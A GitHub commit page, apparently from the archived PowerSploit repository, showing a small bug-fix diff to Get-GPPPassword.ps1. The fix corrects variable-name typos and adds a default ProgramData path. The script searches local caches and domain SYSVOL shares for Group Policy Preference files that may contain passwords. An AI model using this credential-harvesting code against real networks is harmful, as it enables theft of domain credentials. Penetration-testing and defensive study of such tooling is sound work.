Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 215ec25

Browse files
committed
Bug fixes in Get-GPPPassword
1 parent 3f7a32d commit 215ec25

File tree

1 file changed

+9
-4
lines changed

1 file changed

+9
-4
lines changed

Exfiltration/Get-GPPPassword.ps1

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -296,12 +296,17 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
296296
}
297297

298298
try {
299-
$XMlFiles = @()
299+
$XMLFiles = @()
300300
$Domains = @()
301301

302+
$AllUsers = $Env:ALLUSERSPROFILE
303+
if (-not $AllUsers) {
304+
$AllUsers = 'C:\ProgramData'
305+
}
306+
302307
# discover any locally cached GPP .xml files
303308
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
304-
$MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
309+
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
305310

306311
if ($SearchForest) {
307312
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
@@ -325,11 +330,11 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
325330
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
326331

327332
if($DomainXMLFiles) {
328-
$XMlFiles += $DomainXMLFiles
333+
$XMLFiles += $DomainXMLFiles
329334
}
330335
}
331336

332-
if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' }
337+
if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
333338

334339
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
335340

0 commit comments

Comments
 (0)